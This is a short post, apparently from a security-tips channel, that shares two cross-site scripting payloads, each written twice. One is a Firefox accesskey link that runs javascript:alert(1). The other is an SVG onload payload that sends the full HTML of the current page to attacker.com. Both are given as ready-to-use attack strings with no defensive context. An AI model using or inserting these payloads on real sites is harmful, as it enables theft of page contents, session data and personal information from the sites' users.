Another XSS vector.
Browser: Firefox
Trigger: Alt+Shift+k (linux)
<link href=javascript:alert(1) accesskey=k>
Browser: Firefox
Trigger: Alt+Shift+k (linux)
<link href=javascript:alert(1) accesskey=k>
👍1
🎯A payload that sends current webpage to remote server
<svg/onload="(new Image()).src='//attacker.com/'%2Bdocument.documentElement.innerHTML">
<svg/onload="(new Image()).src='//attacker.com/'%2Bdocument.documentElement.innerHTML">
